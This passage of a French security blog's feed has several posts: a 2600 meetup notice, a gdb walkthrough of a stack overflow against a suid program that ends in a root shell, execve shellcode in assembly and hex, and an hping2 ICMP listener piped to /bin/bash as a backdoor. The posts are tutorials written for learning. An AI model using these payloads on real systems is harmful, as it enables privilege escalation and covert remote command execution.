&lt;span style="color: rgb(255, 0, 0);"&gt;System&lt;/span&gt; n'aura pas !&lt;br /&gt;&lt;br /&gt;(ouvrez le menu Démarrer et regarder la session ,le nom System y aparaitra alors  )&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-6059171885898534752?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/bwpDLxiCx-eXDlM9ozeb8yfn4WA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/bwpDLxiCx-eXDlM9ozeb8yfn4WA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/bwpDLxiCx-eXDlM9ozeb8yfn4WA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/bwpDLxiCx-eXDlM9ozeb8yfn4WA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/F9cFkWlD1lo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/6059171885898534752/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=6059171885898534752" title="1 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/6059171885898534752?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/6059171885898534752?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/F9cFkWlD1lo/win-xp-patched-local-privilges.html" title="Win. XP (patched) Local Privilèges Escalation" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/04/win-xp-patched-local-privilges.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0EEQHY7eip7ImA9WxZbE0g.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-4240295662295520458</id><published>2008-04-16T16:09:00.000+02:00</published><updated>2008-04-16T16:20:01.802+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-04-16T16:20:01.802+02:00</app:edited><title>Création d'un meeting 2600 a Nimes (30)</title><content type="html">&lt;span style="color: rgb(204, 204, 204);"&gt;Salut a tous et a toutes ! &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Voila , suite a une discussion avec Decerebrain sur Irc , et étant donné  que rien ne se fait vers chez moi , j'aimerai essayer de lancer  un meeting sur la région de Nimes .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Je rappelle que les meeting du 2600 sont ouvert a TOUS et qu'aucun niveau de connaissances n'est requis .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;L'objectif  unique de ces rencontres étant le partage d'infos entre passionés  d'informatique , de l'univers "underground " , la sécurité et les nouvelles technologies en général.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;-Si  certains d'entre vous sont  intéréssés  , conatctez-moi  par mail ou laissez moi un commentaire  afin de savoir qui serait éventuellement  intéréssé , posez vos questions et fixer ce qui deviendrai le point de rendez-vous .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;* Le jour de rendez-vous sera traditionnellement le 1er Vendredi de chaque mois , a partir de 17h .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Merci a tous .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2600fr.org"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;site du 2600 Fr.&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 102, 255);" href="http://2600fr.org/"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-4240295662295520458?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/AH2nI-BDLlX0OO56U-fBSCAfFcI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AH2nI-BDLlX0OO56U-fBSCAfFcI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/AH2nI-BDLlX0OO56U-fBSCAfFcI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AH2nI-BDLlX0OO56U-fBSCAfFcI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/QFRvoTcwhBc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/4240295662295520458/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=4240295662295520458" title="7 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/4240295662295520458?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/4240295662295520458?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/QFRvoTcwhBc/cration-dun-meeting-2600-nimes-30.html" title="Création d'un meeting 2600 a Nimes (30)" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>7</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/04/cration-dun-meeting-2600-nimes-30.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08ARn87eip7ImA9WxdWF0w.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-4660055561091154605</id><published>2008-04-13T12:01:00.000+02:00</published><updated>2008-07-10T20:50:47.102+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-07-10T20:50:47.102+02:00</app:edited><title>Local Stack Overflow Exploitation</title><content type="html">&lt;span style="color: rgb(204, 204, 204);"&gt;Comme promis précédemment, voici la suite de l'exploitation des Stack Overflow sous UNIX (en local).&lt;br /&gt;&lt;br /&gt;Pour les besoins de cet article , un code vulnérable (vuln.c) ,ainsi que notre shellcode   seront nécéssaires ( dans le cadre d'une exploitation réelle , veillez a ce que le programme ait bien le suid root . Vous verrez les programmes le possédant  en tapant dans le terminal : "&lt;span style="color: rgb(255, 0, 0);"&gt;find / -type f -perm -04000&lt;/span&gt; " ).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------  Progs.  utiles  :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://membres.lycos.fr/profil4/kmkz/vuln1.c.txt"&gt;Prog.Vulnérable&lt;/a&gt;&lt;br /&gt;&lt;a href="http://membres.lycos.fr/profil4/kmkz/Shell_code-en-hexa.txt"&gt;le shellcode en hexadécimal&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;a&gt;&lt;/a&gt;&lt;a href="http://membres.lycos.fr/profil4/kmkz/1er_PoC.pl"&gt;Exemple de Proof Of Concept basé sur vuln.c&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;------&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Dans ce code , la taille du Buffer est de 512 octets.&lt;br /&gt;Les sauvegardes registres , elles , sont codées en 4 octets (registres de 32 Bits).&lt;br /&gt;Les deux arguments de la fonction sont des adresses de buffer codées elles aussi a 4 octets.&lt;br /&gt;&lt;br /&gt;On peu donc en déduire que si nous arrivons a écrire 4 octets supplémentaires sur la taille du buffer on écrasera alors les 4 octets d' EBP .&lt;br /&gt;Et si on écrit 4 octets de plus on devrait arrivé a écraser EIP , ainsi , la valeur que l'on aura défini et qui écrasera EIP sera POP dans la pile et, donc lorsque le programme effectura un JUMP , il le fera sur cette valeur la .&lt;br /&gt;&lt;br /&gt;Bon , maintenant ,  il faut tester le buffer afin de voir a quel moment nous écraserons suffisament la pile ( ne pas oublié: on doit écraser EIP de façon a ce que le programme pointe sur l'adresse exacte en mémoire  du début  de notre shellcode ,afin d'exécuter le code injecté) .&lt;br /&gt;&lt;br /&gt;Testons :&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) r `perl -e 'print "A" x512 . "AAAA" . "DCBA"' `&lt;/span&gt;&lt;br /&gt;Résultat:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x8048400 in main ()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb)&lt;/span&gt;&lt;br /&gt;# 1er test ici au départ 512 octets ce qui est insuffisant&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) r `perl -e 'print "A" x514 . "AAAA" . "DCBA"' `&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Résultat:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x8004142 in ?? ()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb)&lt;/span&gt;&lt;br /&gt;# 2eme test on commence écraser EIP a 514 (&lt;span style="color: rgb(255, 0, 0);"&gt;0x08004142&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;On en déduit donc qu'avec 2 octets de plus donc "A" x516 ( soit 4 au total) , on doit arriver a 0x41424344 soit DCBA , la représentation en hexadécimal de DCBA .&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) r `perl -e 'print "A" x516 . "AAAA" . "DCBA"' `&lt;/span&gt;&lt;br /&gt;Résultat:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x41424344 in ?? ()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Notre objectif , je le rappelle est de faire JUMPER le programme sur notre code ASM injecté en mémoire afin d'exécuter un /bin/sh .&lt;br /&gt;Le meilleur moyen d'y parvenir est de placer le code arbitraire en argument de l'exécutable pour le placer dans le buffer qui subira le débordement de tampon.&lt;br /&gt;&lt;br /&gt;On écrase donc EIP avec l'adresse du début du shellcode pour avoir un shell (/bin/sh) root .&lt;br /&gt;&lt;br /&gt;Pour écraser EIP on envoi 516 octets +2 octets pour arriver au début de notre shellcode soit  =&lt;span style="color: rgb(255, 0, 0);"&gt; "A" x518&lt;/span&gt; , puis ABCD = total de 522 Octets.&lt;br /&gt;Donc pour arriver avant EIP, il faut 518 octets car au-dela , nous l'écraseront.&lt;br /&gt;En utilisera donc des NOP ( ne fait rien) jusqu'a ce que le shellcode soit exécuté.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=&gt; Nous exécutons donc :&lt;br /&gt;&lt;br /&gt;A x 154  + 340 NOP (0x90 ou \x90) + 24 octets du shellcode  + octet pour EIP  = 522 Octets .&lt;br /&gt;On arrive alors a faire pointer ESP sur le début du shellcode a exécuter.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;RAPPEL : l'écrasement d'un registre (EIP , EBP ..)  se fait par groupe de 4 Octets .&lt;br /&gt;&lt;br /&gt;On exécute  le shellcode suivant :&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) r `perl -e 'print "A" x156 . "\x90" x340 . "\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80". "DCBA" '`&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Puis , nous regardons ce qui se trouve dans EIP.&lt;br /&gt;Nous choisissons  une adresse se situant parmis les NOP&lt;br /&gt;(par exemple : &lt;span style="color: rgb(255, 0, 0);"&gt;0xbfa412f0&lt;/span&gt;)&lt;br /&gt;Enfin , a la place de DCBA , on mettra: &lt;span style="color: rgb(255, 0, 0);"&gt;"\xf0\x12\xa4\xbf"&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;(ce qui par la suite deviendra: &lt;span style="color: rgb(255, 0, 0);"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;\x08\xf3\xff\xbf"&lt;span style="color: rgb(204, 204, 204);"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cet offset ajouter a notre Shelcode  donnera donc :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) r `perl -e 'print "A" x156 . "\x90" x340 . "\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80". "\x08\xf3\xff\xbf" ' `&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;sh-3.1# &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bingo ! Nous avons obtenu notre shell root alors que le programme lui , a été lancé en utilisateur .&lt;br /&gt;Voila , nous désormais , nous en savons un peu plus  sur les Stack Overflow .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Remerciments encore a FaSm pour son zine "Prog!" et ses tutos sur l'asm et les shellcodes .&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-4660055561091154605?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/d9ryVj8-BMeaPcBIHN3DIdIsZp8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/d9ryVj8-BMeaPcBIHN3DIdIsZp8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/d9ryVj8-BMeaPcBIHN3DIdIsZp8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/d9ryVj8-BMeaPcBIHN3DIdIsZp8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/XkwTGh3VyxY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/4660055561091154605/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=4660055561091154605" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/4660055561091154605?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/4660055561091154605?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/XkwTGh3VyxY/local-stack-overflow-exploitation.html" title="Local Stack Overflow Exploitation" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/04/local-stack-overflow-exploitation.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUQMQ3YycCp7ImA9WxdWFU4.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-1713093267935749384</id><published>2008-04-12T18:31:00.000+02:00</published><updated>2008-07-08T18:09:42.898+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-07-08T18:09:42.898+02:00</app:edited><title>Shellcode et Port Binder  en ASM x86 (32 Bits )</title><content type="html">&lt;span style="color: rgb(204, 204, 204);"&gt;Voila , je débute dans l'Asm  .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Je posterai ici mes avancées dans ce domaine passionant : celui du langage "machine" .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Voici un exploit utilisant la fonction  Syscall  Execve (), écrite ici en ASM  ,et ayant pour Argument la chaine de caractère &lt;span style="color: rgb(204, 204, 204);"&gt;que l'on a défini au préalable (commande a exécuter ),&lt;/span&gt;ainsi que le caractère de fin de chaine  : //bin/sh.&lt;br /&gt;Code réalisé dans le cadre d'une exploitation de Stack Overflow sur systeme UNIX( explications et exploit complet  a venir ).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Remerciement a FaSm pour ces tutoriaux de qualités sans qui , ce code ne serait certainement pas la.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;br /&gt;Le code &lt;span style="color: rgb(204, 204, 204);"&gt;assembleur &lt;/span&gt;suivant permet l'ouverture d'un shell ( /bin/sh )&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;BITS  32&lt;br /&gt;xor eax,eax&lt;br /&gt;cdg&lt;br /&gt;push eax&lt;br /&gt;push long 0x68732f6e&lt;br /&gt;push long 0x69622f2f&lt;br /&gt;mov       ebx,esp&lt;br /&gt;push eax&lt;br /&gt;push ebx&lt;br /&gt;mov       ecx,esp&lt;br /&gt;mov al,0x0b&lt;br /&gt;int        0x80&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Ce qui , une fois transformé en hexadécimal donnerait :&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Soit un Shellcode en hexa de 24 octets .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Suite au fur et a mesure de mon avancement .&lt;br /&gt;&lt;br /&gt;Autre exemple de code ASM trés utilisé  :&lt;br /&gt;un Port Binding Shell&lt;br /&gt;Lui aussi est basé sur le Syscall execve() mais effectu une connexion via un port .&lt;br /&gt;Il  créé la Socket , écoute et accepte une connexion tout en lui offrant un /bin/sh .&lt;br /&gt;Voir le code ici : &lt;a href="http://membres.lycos.fr/profil4/kmkz/Port_binding.txt"&gt;Port-binding-shell&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;merci a tous !&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-1713093267935749384?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Vn8GG2yyMNCVUXWeI5L65EotOxY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Vn8GG2yyMNCVUXWeI5L65EotOxY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Vn8GG2yyMNCVUXWeI5L65EotOxY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Vn8GG2yyMNCVUXWeI5L65EotOxY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/GXDmU9amLTI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/1713093267935749384/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=1713093267935749384" title="2 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/1713093267935749384?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/1713093267935749384?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/GXDmU9amLTI/port-binding-en-asm-x86-32-bits.html" title="Shellcode et Port Binder  en ASM x86 (32 Bits )" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/04/port-binding-en-asm-x86-32-bits.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0EBQ3s-cCp7ImA9WxZbEE0.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-5534533780464823373</id><published>2008-04-12T14:21:00.000+02:00</published><updated>2008-04-12T15:07:32.558+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-04-12T15:07:32.558+02:00</app:edited><title>Utilisations avancées de Hping2</title><content type="html">Salut a tous et a toutes !&lt;br /&gt;Hping2 permet en effet  de réaliser plusieurs choses intéréssantes  comme l'envoi de paquets via les protocoles TCP,UDP ou ICMP en modifiant leurs entetes .&lt;br /&gt;(&lt;span style="font-style: italic;"&gt;exemple: &lt;span style="color: rgb(255, 0, 0);"&gt;HPING2 site.com -p 80 -a ip.a.utiliser.ici -S&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Bon , ça on le sais , pas de souci , on peu aussi scanner avec grace a la commande&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;--scan &lt;span style="color: rgb(255, 0, 0);"&gt;( HPING2 --scan 20-80 -S  site.fr)&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;ce qui renvoi les noms de services en écoute , les flags etc.. de cette maniere :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[user@localhost]#  hping2 --scan 20-80 -S site.fr&lt;br /&gt;Scanning site.fr (216.239.59.104), port 20-80&lt;br /&gt;61 ports to scan, use -V to see all the replies&lt;br /&gt;+----+-----------+---------+---+-----+-----+&lt;br /&gt;|port| serv name |  flags  |ttl| id  | win |&lt;br /&gt;+----+-----------+---------+---+-----+-----+&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Bon , c'est bien zoli ça mais quand tu parlais d'utilisations avancées tu parlais de ça .??&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Mais non , rassurez-vous , ceci n'est qu'un rappel des bases de Hping.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; Approfondissons maintenant :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;-Hping permet également d'envoyer des paquets contenants des  données via les protocoles choisis&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; par l'user.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Voici les fonctions le permettants :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;UDP: -2&lt;br /&gt;ICMP: -1&lt;br /&gt;TCP : par défaut&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Pour inclure les données a envoyer dans les paquets, on devra créer un fichier les contenants et utiliser la commande&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;-E&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; en indiquant le PATH du fichier.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;(Exemple:&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;HPING2 -1 site.fr -E /user/Desktop/test.txt -d 50&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;span style="color: rgb(204, 204, 204);"&gt;) &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;-d&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;span style="color: rgb(204, 204, 204);"&gt;permet d'afficher la taille du fichier (en octets bien sur).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Hping2 permet aussi d'écouter des paquets contenant une signature (chaine de caracteres)  sur une machine grace a l'instruction &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;--listen signature -icmp &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;(si on utilise ce protocole).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Bon , maintenant imaginez que cette fonction soit utilisée  sur une machine autre que la votre en y ajoutant ceci :&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;--listen signature -icmp | /bin/bash  &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;que ce passerai - t-il ?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Et bien Hping servira alors de troyen !&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;En effet , si on l'utilise de cette maniere , alors il se met en écoute de paquets&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;ICMP&lt;/span&gt; &lt;span style="color: rgb(204, 204, 204);"&gt;et transmet alors les données reçues  au programme&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;/bin/bash &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;et , donc aurait pour effet d'exécuter un&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;Shell&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;span style="color: rgb(204, 204, 204);"&gt;sur la machine distante .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Il suffit donc d'envoyer un paquet&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;ICMP&lt;span style="color: rgb(0, 0, 0);"&gt;  &lt;span style="color: rgb(204, 204, 204);"&gt;avec en  données une commande&lt;/span&gt; &lt;span style="color: rgb(255, 